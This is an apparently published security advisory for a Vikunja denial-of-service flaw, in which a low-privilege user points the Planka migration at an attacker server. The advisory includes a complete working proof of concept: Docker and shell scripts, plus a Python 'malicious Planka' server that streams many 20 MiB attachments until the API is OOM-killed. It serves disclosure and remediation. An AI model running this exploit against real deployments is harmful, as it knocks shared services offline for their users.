The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.
d66ef3d1a39c6f7289593059a1a34afd1d059260 on 28 August 2026> 2.5.0 for the tested post-2.5.0 main branch; no released build was independently reproducedA low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.
Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.
Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination
Relevant code:
pkg/routes/api/v2/migration_credentials.go:35pkg/routes/api/v2/migration_shared.go:73pkg/routes/api/v2/migration_shared.go:95pkg/modules/migration/planka/client.go:37pkg/modules/migration/planka/client.go:356pkg/modules/migration/planka/fetch.go:29pkg/modules/migration/planka/fetch.go:32pkg/modules/migration/planka/convert.go:275pkg/modules/migration/planka/convert.go:280pkg/modules/migration/planka/convert.go:293pkg/modules/migration/planka/planka.go:86pkg/modules/migration/planka/planka.go:100Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create reproduction/Dockerfile:
FROM golang:1.27-bookworm AS builder
WORKDIR /src
COPY --from=target . .
RUN mkdir -p frontend/dist \
&& printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \
&& go build -o /out/vikunja .
FROM golang:1.27-bookworm
RUN apt-get update \
&& apt-get install -y --no-install-recommends ca-certificates curl python3 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY --from=builder /out/vikunja /app/vikunja
COPY . /app
RUN chmod +x /app/verify.sh
Create reproduction/verify.sh:
#!/usr/bin/env bash
set -euo pipefail
test -d /target-repo
test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260"
test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}"
mkdir -p /work/files /work/logs
export VIKUNJA_DATABASE_TYPE=sqlite
export VIKUNJA_DATABASE_PATH=/work/vikunja.db
export VIKUNJA_FILES_BASEPATH=/work/files
export VIKUNJA_LOG_PATH=/work/logs
export VIKUNJA_SERVICE_ROOTPATH=/work
export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456
export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/
export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/
python3 /app/malicious_planka.py > /work/planka.log 2>&1 &
PLANKA_PID=$!
/app/vikunja > /work/vikunja.log 2>&1 &
VIKUNJA_PID=$!
cleanup() {
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
kill "${VIKUNJA_PID}" 2>/dev/null || true
wait "${VIKUNJA_PID}" 2>/dev/null || true
fi
if kill -0 "${PLANKA_PID}" 2>/dev/null; then
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
fi
}
trap cleanup EXIT
for _ in $(seq 1 90); do
if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \
&& curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then
break
fi
sleep 1
done
curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null
curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null
REGISTER_CODE="$(curl -sS -o /work/register.json -w '%{http_code}' \
-H 'Content-Type: application/json' \
-d '{"username":"PoC","email":"PoC@example.invalid","password":"PoC-Test-Password-123!"}' \
http://127.0.0.1:3456/api/v2/register)"
test "${REGISTER_CODE}" = "201"
curl -fsS \
-H 'Content-Type: application/json' \
-d '{"username":"PoC","password":"PoC-Test-Password-123!","long_token":false}' \
http://127.0.0.1:3456/api/v2/login > /work/login.json
TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')"
test -n "${TOKEN}"
BASELINE_RSS_KIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJA_PID}/status")"
OOM_BEFORE="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
MIGRATE_CODE="$(curl -sS -o /work/migrate.json -w '%{http_code}' \
-H "Authorization: Bearer ${TOKEN}" \
-H 'Content-Type: application/json' \
-d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \
http://127.0.0.1:3456/api/v2/migration/planka/migrate)"
test "${MIGRATE_CODE}" = "200"
for _ in $(seq 1 90); do
if ! kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
break
fi
sleep 1
done
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
echo "[PoC] target survived unexpectedly" >&2
tail -n 80 /work/vikunja.log >&2
tail -n 80 /work/planka.log >&2
exit 1
fi
set +e
wait "${VIKUNJA_PID}"
TARGET_EXIT=$?
set -e
OOM_AFTER="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
ATTACHMENTS_SERVED="$(cat /work/attachment-count 2>/dev/null || echo 0)"
test "${OOM_AFTER}" -gt "${OOM_BEFORE}"
test "${TARGET_EXIT}" -eq 137
test "${ATTACHMENTS_SERVED}" -ge 4
kill -0 "${PLANKA_PID}"
if curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then
echo "[PoC] health endpoint remained available after target exit" >&2
exit 1
fi
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
trap - EXIT
echo "[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))"
echo "[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy"
Create reproduction/run.sh:
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
if [[ "$(basename "${SESSION_DIR}")" == "artifacts" ]]; then
SESSION_DIR="$(cd "${SESSION_DIR}/.." && pwd)"
fi
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
NETWORK_NAME="${IMAGE_TAG}-net-$$"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="d66ef3d1a39c6f7289593059a1a34afd1d059260"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-repro.XXXXXX")"
NETWORK_CREATED=false
cleanup() {
if [[ "${NETWORK_CREATED}" == "true" ]]; then
docker network rm "${NETWORK_NAME}" > /dev/null 2>&1 || true
fi
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
TARGET_REPO_DIR="${WORKDIR}/repo"
echo "[PoC] cloning target repository"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
printf '\n.git\n' >> "${TARGET_REPO_DIR}/.dockerignore"
echo "[PoC] building reproduction image: ${IMAGE_TAG}"
docker build \
--build-context "target=${TARGET_REPO_DIR}" \
-t "${IMAGE_TAG}" \
"${SCRIPT_DIR}"
echo "[PoC] creating isolated public-address test network"
docker network create --subnet 93.184.216.0/24 "${NETWORK_NAME}" > /dev/null
NETWORK_CREATED=true
echo "[PoC] running exploit trigger and verification"
docker run --rm \
--network "${NETWORK_NAME}" \
--ip 93.184.216.34 \
--memory=256m \
--memory-swap=256m \
-v "${TARGET_REPO_DIR}:/target-repo:ro" \
"${IMAGE_TAG}" \
/app/verify.sh
echo "[PoC] SUCCESS: reproduction completed and verified"
Create reproduction/malicious_planka.py:
#!/usr/bin/env python3
import json
import os
import threading
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
ATTACHMENT_COUNT = 24
ATTACHMENT_BYTES = 20 * 1024 * 1024
counter = 0
counter_lock = threading.Lock()
class Handler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, fmt, *args):
print(fmt % args, flush=True)
def send_json(self, payload):
body = json.dumps(payload, separators=(",", ":")).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_DELETE(self):
self.send_response(204)
self.send_header("Content-Length", "0")
self.end_headers()
def do_GET(self):
global counter
if self.path == "/api/users/me":
self.send_json({"item": {"id": "attacker"}})
return
if self.path == "/api/projects":
self.send_json(
{
"items": [{"id": "p1", "name": "attacker project"}],
"included": {
"boards": [
{"id": "b1", "name": "board", "projectId": "p1", "position": 1}
],
"baseCustomFieldGroups": [],
"customFields": [],
},
}
)
return
if self.path == "/api/boards/b1":
attachments = [
{
"id": f"a{i}",
"type": "file",
"name": f"aggregate-{i}.bin",
"cardId": "c1",
"data": {"mimeType": "application/octet-stream"},
}
for i in range(ATTACHMENT_COUNT)
]
self.send_json(
{
"item": {"id": "b1", "name": "board", "projectId": "p1", "position": 1},
"included": {
"users": [],
"labels": [],
"lists": [
{"id": "l1", "name": "active", "type": "active", "position": 1}
],
"cards": [
{"id": "c1", "name": "memory bomb", "listId": "l1", "commentsTotal": 0}
],
"cardLabels": [],
"taskLists": [],
"tasks": [],
"attachments": attachments,
"customFieldGroups": [],
"customFields": [],
"customFieldValues": [],
},
}
)
return
if self.path.startswith("/attachments/"):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(ATTACHMENT_BYTES))
self.end_headers()
chunk = b"A" * 65536
try:
for _ in range(ATTACHMENT_BYTES // len(chunk)):
self.wfile.write(chunk)
except (BrokenPipeError, ConnectionResetError):
return
with counter_lock:
counter += 1
with open("/work/attachment-count", "w", encoding="ascii") as count_file:
count_file.write(str(counter))
count_file.flush()
os.fsync(count_file.fileno())
return
self.send_response(404)
self.send_header("Content-Length", "0")
self.end_headers()
ThreadingHTTPServer(("0.0.0.0", 18080), Handler).serve_forever()
From the directory containing these files, run:
chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh
Expected: The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.
Observed: The final run returned migrate_status=200 using public_attacker_ip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oom_kill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.
Verification and controls: The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oom_kill increment, surviving attacker server, and failed health.
Observed evidence:
Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.
CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.
AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.
Reported by the University of Sydney security research team:
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
{
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:53:24Z",
"nvd_published_at": null,
"severity": "HIGH"
}